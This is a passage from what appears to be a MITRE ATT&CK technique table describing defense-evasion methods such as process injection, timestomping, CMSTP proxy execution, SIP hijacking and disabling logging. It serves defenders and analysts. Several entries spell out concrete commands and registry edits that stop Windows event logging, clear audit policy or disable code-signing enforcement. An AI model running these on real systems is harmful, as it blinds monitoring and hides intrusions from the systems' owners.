to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. \nT1036 | Masquerading | Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site) Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections.\nT1070.008 | Clear Mailbox Data | Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests. \n\nAdversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of [Phishing](https://attack.mitre.org/techniques/T1566)/[Internal Spearphishing](https://attack.mitre.org/techniques/T1534), [Email Collection](https://attack.mitre.org/techniques/T1114), [Mail Protocols](https://attack.mitre.org/techniques/T1071/003) for command and control, or email-based exfiltration such as [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). For example, to remove evidence on Exchange servers adversaries have used the ExchangePowerShell [PowerShell](https://attack.mitre.org/techniques/T1059/001) module, including Remove-MailboxExportRequest to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ExchangePowerShell Module) On Linux and macOS, adversaries may also delete emails through a command line utility called mail or use [AppleScript](https://attack.mitre.org/techniques/T1059/002) to interact with APIs on macOS.(Citation: Cybereason Cobalt Kitty 2017)(Citation: mailx man page)\n\nAdversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.(Citation: Microsoft OAuth Spam 2022)\nT1055 | Process Injection | Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. \nT1205 | Traffic Signaling | Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)\nT1218 | System Binary Proxy Execution | Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.\n\nSimilarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)\nT1070.006 | Timestomp | Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.\n\nTimestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)\nT1620 | Reflective Code Loading | Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL)\n\nReflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the \u201cinjection\u201d loads code into the processes\u2019 own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)\nT1564.011 | Ignore Process Interrupts | Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals. Many operating systems use signals to deliver messages to control process behavior. Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off.(Citation: Linux Signal Man) These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes. \n\nAdversaries may invoke processes using `nohup`, [PowerShell](https://attack.mitre.org/techniques/T1059/001) `-ErrorAction SilentlyContinue`, or similar commands that may be immune to hangups.(Citation: nohup Linux Man)(Citation: Microsoft PowerShell SilentlyContinue) This may enable malicious commands and malware to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection.\n\nHiding from process interrupt signals may allow malware to continue execution, but unlike [Trap](https://attack.mitre.org/techniques/T1546/005) this does not establish [Persistence](https://attack.mitre.org/tactics/TA0003) since the process will not be re-invoked once actually terminated.\nT1497.003 | Time Based Evasion | Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)\nT1218.003 | CMSTP | Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)\nT1562.002 | Disable Windows Event Logging | Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\\Local Policies\\Audit Policy for basic audit policy settings or Security Settings\\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the Set-Service -Name EventLog -Status Stopped or sc config eventlog start=disabled commands (followed by manually stopping the service using Stop-Service -Name EventLog).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) Additionally, the service may be disabled by modifying the \u201cStart\u201d value in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog then restarting the system for the change to take effect.(Citation: disable_win_evt_logging)\n\nThere are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the \"Start\" value in the key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Security, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) Second, with Administrator privilege, adversaries may modify the same values in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System and HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application to disable the entire EventLog.(Citation: disable_win_evt_logging)\n\nAdditionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:\u201dAccount Logon\u201d /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.\nT1218.002 | Control Panel | Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)\nT1599.001 | Network Address Translation Traversal | Adversaries may bridge network boundaries by modifying a network device\u2019s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\n\nWhen an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities\nT1550 | Use Alternate Authentication Material | Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n\nT1562.004 | Disable or Modify System Firewall | Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. [Non-Standard Port](https://attack.mitre.org/techniques/T1571)).(Citation: change_rdp_port_conti)\nT1553.003 | SIP and Trust Provider Hijacking | Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)\nT1556.007 | Hybrid Identity | Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. \n\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation: Azure AD Hybrid Identity):\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud \n* Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users\u2019 identity and privileges. \n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors)\nT1562.012 | Disable or Modify Linux Audit System | Adversaries may disable or modify the Linux audit system to hide malicious activity and avoid detection. Linux admins use the Linux Audit system to track security-relevant information on a system. The Linux Audit system operates at the kernel-level and maintains event logs on application and system activity such as process, network, file, and login events based on pre-configured rules.\n\nOften referred to as `auditd`, this is the name of the daemon used to write events to disk and is governed by the parameters set in the `audit.conf` configuration file. Two primary ways to configure the log generation rules are through the command line `auditctl` utility and the file `/etc/audit/audit.rules`, containing a sequence of `auditctl` commands loaded at boot time.(Citation: Red Hat System Auditing)(Citation: IzyKnows auditd threat detection 2022)\n\nWith root privileges, adversaries may be able to ensure their activity is not logged through disabling the Audit system service, editing the configuration/rule files, or by hooking the Audit system library functions. Using the command line, adversaries can disable the Audit system service through killing processes associated with `auditd` daemon or use `systemctl` to stop the Audit service. Adversaries can also hook Audit system functions to disable logging or modify the rules contained in the `/etc/audit/audit.rules` or `audit.conf` files to ignore malicious activity.(Citation: Trustwave Honeypot SkidMap 2023)(Citation: ESET Ebury Feb 2014)\nT1207 | Rogue Domain Controller | Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)\nT1553.006 | Code Signing Policy Modification | Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)\nT1610 | Deploy Container | Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.\n\nContainers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)\nT1112 | Modify Registry | Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.\n\nRegistry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.\nT1574.008 | Path Interception by Search Order Hijacking | Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\nT1535 | Unused/Unsupported Cloud Regions | Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)\nT1027.001 | Binary Padding | Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) \nT1484.001 | Group Policy Modification | Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\\\\SYSVOL\\\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike 